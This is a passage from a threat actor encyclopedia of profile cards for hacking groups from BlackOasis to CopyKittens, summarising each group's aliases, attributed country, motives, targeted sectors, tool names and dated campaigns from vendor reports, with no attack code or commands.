Angola, Bahrain, Iran, Iraq, Jordan, Libya, Netherlands, Nigeria, Russia, Saudi Arabia, Tunisia and UK. Tools used FinFisher, FinSpy, WingBird and 0-day vulnerabilities in Flash. Operations performed Jun 2015 Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time. Those include CVE-2015-5119 and CVE2016-0984, which were patched in July 2015 and February 2016 respectively. These exploit chains also delivered FinSpy installation packages. May 2016 We first became aware of BlackOasis activities in May 2016, while investigating another Adobe Flash zero day. On May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and Chrome OS. The vulnerability was actively being exploited in the wild. Sep 2017 FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. Oct 2017 On October 10, 2017, Kaspersky Lab s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia BlackTech Names BlackTech (Trend Micro) Country [Unknown] Motivation Information theft and espionage Description (Trend Micro) BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech campaigns are likely designed to steal their target s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. Observed Sectors: Financial, Government, Healthcare and Technology Countries: Hong Kong, Japan and Taiwan. Tools used BIFROST, DRIGO, KIVARS, PLEAD and XBOW. Operations performed 2010 Operation Shrouded Crossbow This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from. Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics, computer, healthcare, and financial industries. 2012 Operation PLEAD PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. 2014 Operation Waterbear Waterbear has actually been operating for a long time. The campaign s name is based on its malware s capability to equip additional functions remotely. Jul 2018 ESET researchers have discovered a new malware campaign misusing stolen digital certificates. We spotted this malware campaign when our systems marked several files as suspicious. Interestingly, the flagged files were digitally signed using a valid D-Link Corporation code-signing certificate. The exact same certificate had been used to sign non-malicious D-Link software; therefore, the certificate was likely stolen. Apr 2019 At the end of April 2019, ESET researchers utilizing ESET telemetry observed multiple attempts to deploy Plead malware in an unusual way. Specifically, the Plead backdoor was created and executed by a legitimate process named AsusWSPanel.exe. This process belongs to the Windows client for a cloud storage service called ASUS WebStorage. Threat Group Cards: A Threat Actor Encyclopedia Information Threat Group Cards: A Threat Actor Encyclopedia Blind Eagle Names Blind Eagle (360) APT-C-36 (360) Country [Latin America] Sponsor State-sponsored Motivation Information theft and espionage Description (360) Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc. Till this moment, 360 Threat Intelligence Center captured 29 bait documents, 62 Trojan samples and multiple related malicious domains in total. Attackers are targeting Windows platform and aiming at government institutions as well as big companies in Colombia. Observed Sectors: Financial, Government and large domestic companies and multinational corporation branches. Countries: Colombia. Tools used Imminent Monitor RAT. Information Threat Group Cards: A Threat Actor Encyclopedia Blue Termite, Cloudy Omega Names Blue Termite (Kaspersky) Cloudy Omega (Symantec) Country China Motivation Information theft and espionage Description (Kaspersky) In October 2014, Kaspersky Lab started to research Blue Termite , an Advanced Persistent Threat (APT) targeting Japan. The oldest sample we ve seen up to now is from November 2013. This is not the first time the country has been a victim of an APT. However, the attack is different in two respects: unlike other APTs, the main focus of Blue Termite is to attack Japanese organizations; and most of their C2s are located in Japan. One of the top targets is the Japan Pension Service, but the list of targeted industries includes government and government agencies, local governments, public interest groups, universities, banks, financial services, energy, communication, heavy industry, chemical, automotive, electrical, news media, information services sector, health care, real estate, food, semiconductor, robotics, construction, insurance, transportation and so on. Unfortunately, the attack is still active and the number of victims has been increasing. Observed Sectors: Automotive, Chemical, Construction, Education, Energy, Financial, Food and Agriculture, Government, Healthcare, High-Tech, Industry, IT, Media, Real estate, Telecommunications, Transportation and several others. Countries: Japan. Tools used Emdivi and 0-days from the Hacking Team breach. Information Threat Group Cards: A Threat Actor Encyclopedia Bookworm Names Bookworm (Palo Alto) Country [Unknown] Motivation Information theft and espionage Description (Palo Alto) Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words Thai or Thailand . Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand. Observed Sectors: Government. Countries: Thailand. Tools used Bookworm, FFRAT, Poison Ivy, PlugX and Scieron. Information Threat Group Cards: A Threat Actor Encyclopedia Bronze Butler, Tick Names Bronze Bulter (SecureWorks) Tick (Symantec) RedBaldNight (Trend Micro) Country China Motivation Information theft and espionage Description (SecureWorks) CTU analysis indicates that Bronze Bulter primarily targets organizations located in Japan. The threat group has sought unauthorized access to networks of organizations associated with critical infrastructure, heavy industry, manufacturing, and international relations. Secureworks analysts have observed Bronze Bulter exfiltrating the following categories of data: Intellectual property related to technology and development Product specification Sensitive business and sales-related information Network and system configuration files Email messages and meeting minutes The focus on intellectual property, product details, and corporate information suggests that the group seeks information that they believe might be of value to competing organizations. The diverse targeting suggests that Bronze Bulter may be tasked by multiple teams or organizations with varying priorities. Observed Sectors: Critical infrastructure, Defense, Government, Industry, International relations, Manufacturing and Technology. Countries: China, Japan, Russia, Singapore and South Korea. Tools used Daserf, Datper, gsecdump, Mimikatz, Minzen, Muirim, Nioupale, rarstar, Windows Credential Editor and xxmm. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Buhtrap Names Buhtrap (Group-IB) Country Russia Motivation Financial gain Description (Group-IB) Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated BankCustomer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups. Observed Sectors: Financial. Countries: Russia and Ukraine. Tools used AmmyyRAT, Buhtrap, Niteris EK, NSIS and Ratopak. Operations performed 2014 On October 20, 2014 we notified Group-IB Bot-Trek Intelligence subscribers about phishing emails which were sent from the info@beeline-mail.ru address with the subject Invoice No 522375 -14-115 (pic. 1). The beeline-mail.ru domain name was also registered on October 20, 2014. Oct 2015 We noticed in late October that users visiting the Ammyy website to download the free version of its remote administrator software were being served a bundle containing not only the legitimate Remote Desktop Software Ammyy Admin, but also an NSIS (Nullsoft Scriptable Installation Software) installer ultimately intended to install the tools used by the Buhtrap gang to spy on and control their victims computers. Dec 2015 In December 2015, employees from several Russian banks were targeted with spoofed emails, a common technique in attack campaigns. The emails were made to look like they were from the Central Bank of Russia and offered employment to their recipients. Instead of being an actual employment offer, the emails were an attempt to deliver Trojan.Ratopak onto the target s computer. Threat Group Cards: A Threat Actor Encyclopedia Information Sep 2016 Breach of the Russian boxing side allboxing[.].ru 2017 Operation TwoBee Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign, where it served primarily as means of malware delivery. In March of last year, it hit the news (literally), spreading through several compromised major news outlets in whose main pages malicious actors implanted scripts. This scripts executed an exploit for Internet Explorer in visitor s browsers. Threat Group Cards: A Threat Actor Encyclopedia Cadelle Names Cadelle (Symantec) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (Symantec) Symantec telemetry identified Cadelle and Chafer, APT 39 activity dating from as far back as July 2014, however, it s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people. There is evidence to suggest that the two teams may be connected in some way, though we cannot confirm this. A number of computers experienced both Cadelspy and Remexi infections within a small time window. In one instance, a computer was compromised with Backdoor.Cadelspy just minutes after being infected with Backdoor.Remexi. The Cadelle and Chafer groups also keep the same working hours and focus on similar targets. However, no sharing of C&C infrastructure between the teams has been observed. If Cadelle and Chafer are not directly linked, then they may be separately working for a single entity. Their victim profile may be of interest to a nation state. Observed Countries: Germany, Iran, Iraq, Netherlands, Pakistan, Saudi Arabia, Singapore, Sudan, Tajikistan, Thailand, Turkey, UAE, UK and USA. Tools used ANTAK and Cadelspy. Information Threat Group Cards: A Threat Actor Encyclopedia Callisto Group Names Callisto Group (F-Secure) Country [Unknown] Motivation Information theft and espionage Description (F-Secure) The most obvious common theme between all known targets of the Callisto Group is an involvement in European foreign and security policy, whether as a military or government official, being employed by a think tank, or working as a journalist . More specifically, many of the known targets have a clear relation to foreign and security policy involving both Eastern Europe and the South Caucasus. This targeting suggests the Callisto Group is interested in intelligence gathering related to foreign and security policy. Furthermore, we are unaware of any targeting in the described attacks that would suggest a financial motive It is worth noting that during our investigation we uncovered links between infrastructure associated with the Callisto Group and infrastructure used to host online stores selling controlled substances. While we don t yet know enough to fully understand the nature of these links, they do suggest the existence of connections between the Callisto Group and criminal actors. While the targeting would suggest that the main benefactor of the Callisto Group activity is a nation state with specific interest in the Eastern Europe and South Caucasus regions, the link to infrastructure used for the sale of controlled substances hints at the involvement of a criminal element. Finally, the infrastructure associated with the Callisto Group and related infrastructure contain links to at least Russia, Ukraine, and China in both the content hosted on the infrastructure, and in WHOIS information associated with the infrastructure. It is possible to come up with a number of plausible theories to explain the above findings. For example, a cybercrime group with ties to a nation state, such as acting on behalf of or for the benefit of a government agency, is one potential explanation. However, we do not believe it is possible to make any definitive assertions regarding the nature or affiliation of the Callisto Group based on the currently available information. Observed Sectors: Defense, Government, Think Tanks and journalists. Countries: Europe and the South Caucasus. Tools used RCS Callisto. Information Threat Group Cards: A Threat Actor Encyclopedia Carbanak, Anunak Names Carbanak (Kaspersky) Anunak (Group-IB) Carbon Spider (CrowdStrike) Country Ukraine Motivation Financial gain Description Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Kaspersky) From late 2013 onwards, several banks and financial institutions have been attacked by an unknown group of cybercriminals. In all these attacks, a similar modus operandi was used. According to victims and the law enforcement agencies (LEAs) involved in the investigation, this could result in cumulative losses of up to 1 billion USD. The attacks are still active. This report provides a technical analysis of these attacks. The motivation for the attackers, who are making use of techniques commonly seen in Advanced Persistent Threats (APTs), appears to be financial gain as opposed to espionage. An analysis of the campaign has revealed that the initial infections were achieved using spear phishing emails that appeared to be legitimate banking communications, with Microsoft Word 97 2003 (.doc) and Control Panel Applet (.CPL) files attached. We believe that the attackers also redirected to exploit kits website traffic that related to financial activity. Observed Sectors: Financial. Countries: Australia, Austria, Brazil, Bulgaria, Canada, China, Czech, France, Germany, Hong Kong, Iceland, India, Luxemburg, Morocco, Nepal, Norway, Pakistan, Poland, Russia, Spain, Sweden, Switzerland, Taiwan, UK, Ukraine, USA and Uzbekistan. Tools used Agent ORM, AmmyyRAT, ANTAK, Ave Maria, BABYMETAL, Backdoor Batel, Bateleur, BELLHOP, MBR Eraser, Cain & Abel, Carbanak, Cobalt Strike, DNSMessenger, DNSRat, DRIFTPIN, Griffon, HALFBAKED, JS Flash, KLRD, Mimikatz, MBR Eraser, Netscan, Odinaff, POWERPIPE, POWERSOURCE, PSExec, Sekur, SocksBot, SoftPerfect Network Scanner, SQLRat, Team Viewer, TinyMet and VB Flash. Counter operations Mastermind behind EUR 1 billion cyber bank robbery arrested in Spain (2018) Three Carbanak cyber heist gang members arrested (2018) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Careto, The Mask Names Careto (Kaspersky) The Mask (Kaspersky) Mask (Kaspersky) Ugly Face (Kaspersky) Country Spain Motivation Information theft and espionage Description (Kaspersky) The Mask is an advanced threat actor that has been involved in cyberespionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" ("Ugly Face" or Mask ) which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date. What makes The Mask special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS). Observed Sectors: Diplomatic missions, Education, Energy and Government. Countries: Brazil, France, Germany, Iran, Libya, Morocco, Poland, South Africa, Spain, Switzerland, Tunisia, UK, USA and Venezuela. Tools used Careto. Information Threat Group Cards: A Threat Actor Encyclopedia Chafer, APT 39 Names Chafer (Symantec) APT 39 (Mandiant) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (FireEye) APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry. APT39's focus on the telecommunications and travel industries suggests intent to perform monitoring, tracking, or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns. Government entities targeting suggests a potential secondary intent to collect geopolitical data that may benefit nation-state decision making. Targeting data supports the belief that APT39's key mission is to track or monitor targets of interest, collect personal information, including travel itineraries, and gather customer data from telecommunications firms. Observed Sectors: Airlines, Airports, Engineering, Government, High-Tech, IT, Shipping and Logistics, Telecommunications and Transportation. Countries: Israel, Jordan, Middle East, Saudi Arabia, Spain, Turkey, UAE and USA. Tools used ASPXSpy, CACHEMONEY, EternalBlue, HTTPTunnel, MechaFlounder Mimikatz, NBTScan, Non-sucking Service Manager (NSSM), Plink, POWBAT, Pwdump, Remcom, Remexi, SEAWEED, SMB hacking tools, UltraVNC and Windows Credential Editor. Operations performed 2017 Chafer appears to have been undeterred by its exposure in 2015 and continued to be very active during 2017, using seven new tools, rolling out new infrastructure, and attacking nine new target organizations in the region. The group hit organizations in Israel, Jordan, the United Arab Emirates, Saudi Arabia, and Turkey. Sectors targeted included airlines; aircraft services; software and IT services companies serving the air and sea transport sectors; telecoms services; payroll services; engineering consultancies; and document management software. Outside of the Middle East, Symantec has also found evidence of attacks against one African airline and attempts to compromise an international travel reservations firm. Threat Group Cards: A Threat Actor Encyclopedia Feb 2018 Turkish Government Targeting This new secondary payload is Python-based and compiled into executable form using the PyInstaller utility. This is the first instance where Unit 42 has identified a Python-based payload used by these operators. We ve also identified code overlap with OilRig s Clayside VBScript but at this time track Chafer and OilRig as separate threat groups. We have named this payload MechaFlounder for tracking purposes. Autumn 2018 Spying on Iran-based foreign diplomatic entities Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyberespionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyberespionage operation. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Charming Kitten, Newscaster, NewsBeef Names Charming Kitten (CrowdStrike) Newscaster (Symantec) NewsBeef (Kaspersky) Group 83 (Talos) Parastoo (Flashpoint) Country Iran Motivation Information theft and espionage Description Charming Kitten is an Iranian cyberespionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. Observed Sectors: Defense and Government. Countries: Afghanistan, Algeria, Brazil, China, Denmark, France, Germany, India, Iran, Iraq, Israel, Japan, Romania, Russia, Switzerland, Syria, Turkey, UAE, UK, Ukraine and USA. Tools used DownPaper, FireMalv, MacDownloader and Stealer Builder. Operations performed 2011 Operation Newscaster The research firm iSight dubbed the operation Newscaster and said hackers used social-media sites like Twitter, Facebook and LinkedIn to draw their targets and then lure them to check out a bogus news site, NewsOnAir.org, filled with foreign policy and defense articles, The Post reported. The overall aim is that the social-media platform would give the hackers connections with those at the top of public policy and position them to tap into that information network. Feb 2016 In late February 2016, a University website in Iran stood out for thoroughly vetting its current and potential students and staff. The University s web site served repackaged content from the Browser Exploitation Framework (BeEF) with embedded JavaScript content. Aug 2017 Breach of HBO On August 7 a small treasure trove of HBO content was posted publicly to the web by a hacker who is now demanding a $6 million payment to stop any further release of data. The hacker who goes by Mr. Smith posted five scripts for Game of Thrones and a month worth of email from HBO Vice President for Film Programming Leslie Cohen along with some other corporate information, according to the Associated Press. Threat Group Cards: A Threat Actor Encyclopedia Counter operation 2017 Fake news website BritishNews to infect visitors On the same note, we identified a fake-news agency "established" by the attackers, called The British news agency or Britishnews (inspired by BBC). Its website domain is britishnews.com[.]co and two other domains, broadcastbritishnews[.]comand britishnews[.]org redirected to it. 2017 Blackmailing BBC reporter with naked photo threats Iranian agents blackmailed a BBC Persian journalist by threatening to publish revealing photos of her as part of a wider campaign against the British media outlet, staff at the broadcaster told Arab News. New details emerged on Saturday about alleged harassment of BBC Persian reporters family members and loved ones at the hands of the Iranian security services. Jun 2018 Impersonating ClearSky, the security firm that uncovered its campaigns Iranian cyberespionage group Charming Kitten, which has been operating since 2014, has impersonated the cybersecurity firm that exposed its operations and campaigns. Israeli firm ClearSky Security said the group managed to copy its official website hosted on a similar-looking domain - clearskysecurity[.]net. ClearSky's actual website is Clearskysec.com. Oct 2018 The Return of The Charming Kitten In this campaign, hackers have targeted individuals who are involved in economic and military sanctions against the Islamic Republic of Iran as well as politicians, civil and human rights activists and journalists around the world. Our review in Certfa demonstrates that the hackers - knowing that their victims use two-step verification - target verification codes and also their email accounts such as Yahoo! and Gmail. Former U.S. Counterintelligence Agent Charged With Espionage on Behalf of Iran; Four Iranians Charged With a Cyber Campaign Targeting Her Former Colleagues (2019) Microsoft slaps down 99 APT35/Charming Kitten domains (2019) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Clever Kitten Names Clever Kitten (CrowdStrike) Group 41 (Talos) Country Iran Motivation Information theft and espionage Description (CrowdStrike) Clever Kitten primarily targets global companies with strategic importance to countries that are contrary to Iranian interests. Clever Kitten actors have a strong affinity for PHP server-side attacks to make access; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering. Some attackers have moved to leveraging strategic web compromises. The reason for this is likely the availability of exploits against web browsers, which for a variety of reasons allows an attacker to bypass security features such as Data Execution Prevention (DEP) or Address Space Layout Randomization (ASLR). Observed Global companies with strategic importance to countries that are contrary to Iranian interests. Tools used Acunetix Web Vulnerability Scanner, PHP Webshell RC SHELL Information Threat Group Cards: A Threat Actor Encyclopedia Cobalt Group Names Cobalt Group (Group-IB) Cobalt Gang (Palo Alto) Cobalt Spider (CrowdStrike) Gold Kingswood (SecureWorks) Country Russia Motivation Financial gain Description Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. The group has been known to target organizations in order to use their access to then compromise additional victims. Reporting indicates there may be links between Cobalt Group and both the malware Carbanak and the group Carbanak, Anunak. Observed Sectors: Financial. Countries: Argentina, Armenia, Austria, Azerbaijan, Belarus, Bulgaria, Canada, China, Czech, Estonia, Georgia, Italy, Jordan, Kazakhstan, Kuwait, Kyrgyzstan, Malaysia, Moldova, Netherlands, Poland, Romania, Russia, Spain, Taiwan, Tajikistan, Thailand, Turkey, UK, Ukraine, USA and Vietnam. Tools used AmmyyRAT, ATMSpitter, ATMRipper Cobalt Strike, CobInt, Cyst Downloader, Mimikatz, Metasploit Stager, More_eggs, SDelete, SoftPerfect Network Scanner and SpicyOmelette. Operations performed Jun 2016 In June 2016, the first attack conducted by the Cobalt group was tracked at a large Russian bank, where hackers attempted to steal money from ATMs. The attackers infiltrated the bank's network, gained control over it, compromised the domain administrator's account, and reached the ATM control server. Jul 2016 ATM heist at the First Commercial Bank in Taiwan Aug 2016 ATM heist at the Government Saving Bank in Thailand2 May 2017 In May, Proofpoint observed multiple campaigns using a new version of Microsoft Word Intruder (MWI). MWI is a tool sold on underground markets for creating exploit-laden documents, generally used in targeted attacks. We previously reported about MWI when it added support for CVE-2016-4117. After the latest update, MWI is now using CVE-2017-0199 to launch an HTML Application (HTA) used for both information collection and payload execution. This activity targets organizations in the financial vertical including banks, banking software vendors, and ATM software and hardware vendors. The emails are sent to technology and security personnel working in departments including Fraud and Information Security. 2 See ThaiCERT Whitepaper ATM Heist GSB August 2016 Threat Group Cards: A Threat Actor Encyclopedia Aug 2017 The first spam run on August 31 used a Rich Text Format (RTF) document laden with malicious macros. The second, which ran from September 20 to 21, used an exploit for CVE-2017-8759 (patched last September), a code injection/remote code execution vulnerability in Microsoft s .NET Framework. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. Nov 2017 On Tuesday, November 21, a massive spear-phishing campaign began targeting individual employees at various financial institutions, mostly in Russia and Turkey. Purporting to provide info on changes to SWIFT terms, the email contained a single attachment with no text in the body. It was an attempt by the Cobalt Group to gain a foothold in the networks of the targeted individuals organizations Jan 2018 Spear-phishing attacks to Russian banks The emails were sent in the name of a large European bank in an attempt to social engineer the receiver into trusting the email. The emails were quite plain with only a single question in the body and an attachment with the name once.rtf. In other cases, we saw a file with the name .rtf attached to an email that was also written in Russian. May 2018 On May 23, 1:21 p.m (Moscow time) Group-IB tracked a new largescale Cobalt cyberattack on the leading banks of Russia and the CIS. It was like a challenge: phishing emails were sent acting as a major anti-virus vendor. Bank employees received a "complaint", in English, that their computers allegedly violated legislation. Sep 2018 In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. Oct 2018 One of the latest examples related to the campaign under analysis was used in attacks just a few days ago. It shows the simplicity of the attack delivery employed by this group. The attack reinforces the fact that email is still one of the primary attack vectors we continuously observe. This attack begins by targeting employees at several banking entities across the globe using an email with subject Confirmations on October 16, 2018 Threat Group Cards: A Threat Actor Encyclopedia Counter operations Mastermind behind EUR 1 billion cyber bank robbery arrested in Spain (2018) Three Carbanak cyber heist gang members arrested (2018) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Cold River Names Cold River (Lastline) Nahr el bared (original place) Nahr Elbard (transliteration) Country [Unknown] Motivation Information theft and espionage Description (Lastline) While reviewing some network anomalies, we recently uncovered Cold River, a sophisticated threat actor making malicious use of DNS tunneling for command and control activities. We have been able to decode the raw traffic in command and control, find sophisticated lure documents used in the campaign, connect other previously unknown samples, and associate a number of legitimate organizations whose infrastructure is referenced and used in the campaign. The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates, though, Indian and Canadian companies with interests in those Middle Eastern countries are also targeted. There are new TTPs used in this attack for example Agent_Drable is leveraging the Django python framework for command and control infrastructure, the technical details of which are outlined later in the blog. Observed Countries: Canada, India and Middle East (mostly Lebanon and UAE). Tools used Agent_Drable. Information Threat Group Cards: A Threat Actor Encyclopedia Comment Crew, APT 1 Names Comment Crew (Symantec) Comment Panda (CrowdStrike) TG-8223 (SecureWorks) APT 1 (Mandiant) BrownFox (Symantec) Group 3 (Talos) Byzantine Hades (US State Department) Byzantine Candor (US State Department) Shanghai Group (SecureWorks) GIF89a (Kaspersky) Country China Sponsor State-sponsored, 2nd Bureau of the People s Liberation Army (PLA) General Staff Department s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. Motivation Information theft and espionage Description Also known as APT1, Comment Crew is an advanced persistent threat (APT) group with links to the Chinese military. The threat actors, which were active from roughly 2006 to 2010, managed to strike over 140 US companies in the quest for sensitive corporate and intellectual property data. The group earned their name through their use of HTML comments to hide communication to the command-and-control servers. The usual attack vector was via spear-phishing campaigns utilizing emails which contained documents with names tailored for the potential victims, such as ArmyPlansConferenceOnNewGCVSolicitation.pdf, or Chinese Oil Executive Learning From Experience.doc. Observed Sectors: Aerospace, Chemical, Construction, Education, Energy, Engineering, Entertainment, Financial, Food and Agriculture, Government, Healthcare, HighTech, IT, Manufacturing, Media, Mining, Navigation, Non-profit organizations, Research, Satellites, Telecommunications, Transportation and lawyers. Countries: Belgium, Canada, France, India, Israel, Japan, Luxembourg, Norway, Singapore, South Africa, Switzerland, Taiwan, UAE, UK and USA. Tools used Auriga, bangat, BISCUIT, Bouncer, Cachedump, CALENDAR, Combos, CookieBag, Dairy, GetMail, GLOOXMAIL, Goggles, gsecdump, Hacksfase, Helauto, Kurton, Lslsass, ManItsMe, MAPIget, Mimikatz, MiniASP, NewsReels, Pass-The-Hash Toolkit, Poison Ivy, pwdump, SeaSalt, ShadyRAT, StarsyPound, Sword, TabMsgSQL, Tarsip, Tasklist, WebC2-AdSpace, WebC2-Ausov, WebC2Bolid, WebC2-Cson, WebC2-DIV, WebC2-GreenCat, WebC2-Head, WebC2-Kt3, WebC2-Qbp, WebC2-Rave, WebC2-Table, WebC2-UGX and WebC2-Yahoo. Operations performed 2006-2010 Operation Seasalt Target: 140 US companies in the quest for sensitive corporate and intellectual property data. Method: Spear-phishing with malicious documents. 2011-2012 Hackers Plundered Israeli Defense Firms that Built Iron Dome Missile Defense System Threat Group Cards: A Threat Actor Encyclopedia Feb 2014 Operation Siesta FireEye recently looked deeper into the activity discussed in TrendMicro s blog and dubbed the Siesta campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyberespionage unit APT 1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT 1. May 2018 Operation Oceansalt Target: Oceansalt appears to have been part of an operation targeting South Korea, United States, and Canada in a wellfocused attack. A variation of this malware has been distributed from two compromised sites in South Korea. Method: Oceansalt appears to be the first stage of an advanced persistent threat. The malware can send system data to a control server and execute commands on infected machines, but we do not yet know its ultimate purpose. Note: It is possible that this operation was not performed by the actual Comment Crew group (as they are supposedly in jail). Counter operations Information MITRE ATT&CK 5 in China Army Face U.S. Charges of Cyberattacks (2014) Threat Group Cards: A Threat Actor Encyclopedia Confucius Names Confucius (Palo Alto) Country [South Asia] Motivation Information theft and espionage Description (Trend Micro) Confucius campaigns were reportedly active as early as 2013, abusing Yahoo! And Quora forums as part of their command-and-control (C&C) communications. We stumbled upon Confucius, likely from South Asia, while delving into Patchwork s cyberespionage operations. Confucius operations include deploying bespoke backdoors and stealing files from their victim s systems with tailored file stealers. The stolen files are then exfiltrated by abusing a cloud service provider. Some of these file stealers specifically target files from USB devices, probably to overcome air-gapped environments. This group seems to be associated with Patchwork, Dropping Elephant. Observed Countries: Most of the South and Southeast Asian countries (including Mongolia), most of the Middle Eastern countries, with a focus on Pakistan, most of the African countries, Trinidad, Tobago and Ukraine. Tools used ApacheStealer, ByeBye Shell, Confucius, MY24, sctrls, remote-access-c3 and sip_telephone, swissknife2 and Sneepy. Operations performed Oct 2017 In recent weeks, Unit 42 has discovered three documents crafted to exploit the InPage program. InPage is a word processor program that supports languages such as Urdu, Persian, Pashto, and Arabic. The three InPage exploit files are linked through their use of very similar shellcode, which suggests that either the same actor is behind these attacks, or the attackers have access to a shared builder. End 2017 Probing Confucius infrastructure, we came across websites offering Windows and Android chat applications, most likely iterations of its predecessor, Simple Chat Point: Secret Chat Point, and Tweety Chat. We are admittedly uncertain of the extent and success of their use, but it s one of the ingredients of the group s operations. May 2018 During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications. This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets. Information Threat Group Cards: A Threat Actor Encyclopedia CopyKittens, Slayer Kitten Names CopyKittens (Trend Micro) Slayer Kitten (CrowdStrike) Country Iran Motivation Information theft and espionage Description CopyKittens is an Iranian cyberespionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. Observed Sectors: Defense, Education, Government, IT and Media. Countries: Germany, Israel, Jordan, Saudi Arabia, Turkey and USA. Tools used Cobalt Strike, Empire, Matryoshka, TDTESS, Vminst and ZPP. Operations performed 2013 Operation Wilted Tulip In this report, Trend Micro and ClearSky expose a vast espionage apparatus spanning the entire time the group has been active. It includes recent incidents as well as older ones that have not been publicly reported; new malware; exploitation, delivery and command and control infrastructure; and the group's modus operandi. We dubbed this activity Operation Wilted Tulip 2015 CopyKittens has conducted at least three waves of cyber-attacks in the past year. In each of the attacks the infection method was almost identical and included an extraordinary number of stages used to avoid detection. As with other common threat actors, the group relies on social engineering methods to deceive its targets prior to infection. MITRE 